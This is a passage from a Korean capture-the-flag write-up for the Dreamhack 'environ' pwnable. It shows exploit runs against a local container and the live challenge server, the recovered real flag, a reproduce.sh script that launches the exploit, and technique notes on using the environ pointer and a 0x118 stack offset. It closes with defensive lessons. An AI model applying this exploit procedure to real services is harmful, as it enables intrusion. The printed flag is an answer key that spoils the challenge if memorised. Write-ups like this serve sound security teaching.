먼저 로컬 컨테이너에 쐈다.

python3 solve.py 127.0.0.1:31337

solve.py 로컬 실행 — 셸이 잡혀 SHELL_OK 와 컨테이너에 심어 둔 더미 flag 가 돌아온다

SHELL_OK 가 돌아오고 컨테이너에 심어 둔 더미 flag 가 나온다. 셸이 잡힌다는 것까지 확인했으니 이제 라이브로 간다.

python3 solve.py host3.dreamhack.games:18193

solve.py 라이브 실행 — 라이브 서버에서 셸을 잡고 flag 파일을 읽어 진짜 플래그를 회수한다

한 번에 붙었다. 로컬에서 잰 0x118 이 원격에서도 그대로 맞았다.

DH{209478d89c920b8dfe2dee61f9bc1dcc}

🧾 재현

문제 폴더만 있으면 flag 확인까지 한 번에 돌아가게 스크립트를 남겨 뒀다.

#!/usr/bin/env bash
# environ (Dreamhack wargame id=31, Bronze 2) — 한 방 재현.
#
#   ./reproduce.sh                              로컬 ubuntu:16.04 컨테이너에서 익스 동작 검증
#   ./reproduce.sh host3.dreamhack.games:PORT   라이브 서버에서 진짜 flag
#
# ⚠️ 인자 없이 돌리면 나오는 flag 는 컨테이너에 심어 둔 더미다.
#    "익스가 실제로 셸을 잡는다"까지만 증명한다. 진짜 flag 는 라이브 서버가 있어야 한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
TARGET="${1:-}"
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
 
if [ -z "$TARGET" ]; then
  echo "[*] 로컬 재현 — ubuntu:16.04 + 배포 libc 로 socat 서비스를 띄운다"
  docker build -q -t environ31:local work/ >/dev/null
  docker rm -f environ31_repro >/dev/null 2>&1 || true
  docker run -d --rm --name environ31_repro -p 31337:31337 environ31:local >/dev/null
  trap 'docker rm -f environ31_repro >/dev/null 2>&1 || true' EXIT
  sleep 2
  TARGET=127.0.0.1:31337
  EXPECT='DH{LOCAL_DUMMY_FLAG_NOT_REAL}'
  echo "[!] 로컬 flag 는 더미다 — 진짜 flag 는 라이브 서버 주소를 인자로 줘야 한다."
fi
 
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1

인자를 안 주면 로컬 컨테이너를 띄워 익스 동작만 검증한다. 이때 나오는 flag 는 Dockerfile 에 심은 더미라 진짜가 아니다. 진짜 flag 는 라이브 서버 주소를 인자로 넘겨야 나온다.

성공/실패는 이렇게 읽는다.

화면	뜻
`stdout = 0x7f...` 가 안 찍힘	서버 연결이 안 됐거나 포트가 만료됐다
`SHELL_OK` 없이 바로 종료	착지점을 못 덮었다. `BUF2ENVP` 를 다시 재야 한다
`SHELL_OK` 는 나오는데 flag 가 빈 줄	셸은 잡혔고 flag 파일 경로만 다르다. `ls -al` 로 확인
`✅ PASS`	끝

libc 가 다른 환경(다른 Ubuntu 버전)으로 재현할 거라면 offsets.py 로 _IO_2_1_stdout_ 과 environ 오프셋을 다시 뽑고, measure.gdb 로 거리도 다시 재야 한다. 이 두 값이 이 익스의 전부다.

📝 결론

원시의 겹수를 먼저 세라

jump = *(long *)value; jump(); 는 임의 호출처럼 보이지만 실은 임의 읽기 한 겹이 앞에 붙어 있다. 이 한 겹 때문에 "libc 베이스 알면 one_gadget"이라는 익숙한 수순이 통째로 막힌다. 쓸 수 있는 건 주소가 아니라 주소가 들어 있는 칸이고, 그런 칸이 몇 개 없다는 게 문제의 전부다.

environ 은 스택으로 가는 유일한 표준 통로다

libc 안에서 스택을 가리키는 전역 포인터는 사실상 environ 뿐이다. 보통은 값을 읽어 스택 주소를 구하는 데 쓰는데, 이 문제처럼 값을 못 볼 때도 "거기가 스택 어딘가"라는 사실만으로 쓸 수 있다. 절대 주소 대신 상대 거리를 재는 쪽으로 관점을 바꾸면 유출 없이도 착지가 된다.

상수로 박기 전에 그 상수가 왜 상수인지 확인한다

0x118 을 한 번 재고 그냥 썼다면 운에 맡긴 셈이 된다. 환경변수 크기를 바꿔 가며 네 번 재 보니 절대 주소는 4KB 넘게 움직이는데 거리는 미동도 없었다. 이게 확인되고 나서야 원격에 한 번만 붙어도 되겠다는 판단이 섰다. 여유분 0x100 은 그럼에도 남겨 둔 보험이다.

방어 쪽에서 보면

이 문제는 취약점 한 개가 아니라 네 개가 겹쳐야 성립한다. 길이를 검증하지 않는 read, 사용자 입력을 그대로 역참조하는 포인터, 실행 가능한 스택, 그리고 주소를 그대로 뱉는 디버그용 printf.

넷 중 하나만 끊어도 이 경로는 죽는다. read 길이를 sizeof(buf) 로 묶으면 착지점까지 못 간다. NX 만 켜져 있어도(요즘 툴체인의 기본값이다) 스택에 올린 바이트가 실행되지 않아 SIGSEGV 로 끝난다. %p 로 포인터를 찍는 습관이 없었다면 libc 베이스부터 막힌다.

특히 마지막 것은 실제 코드에서도 흔하다. 디버깅하려고 넣은 주소 출력 한 줄이 ASLR 을 통째로 무력화한다. 로그에 포인터를 찍는 코드는 릴리스 전에 지우는 게 맞다.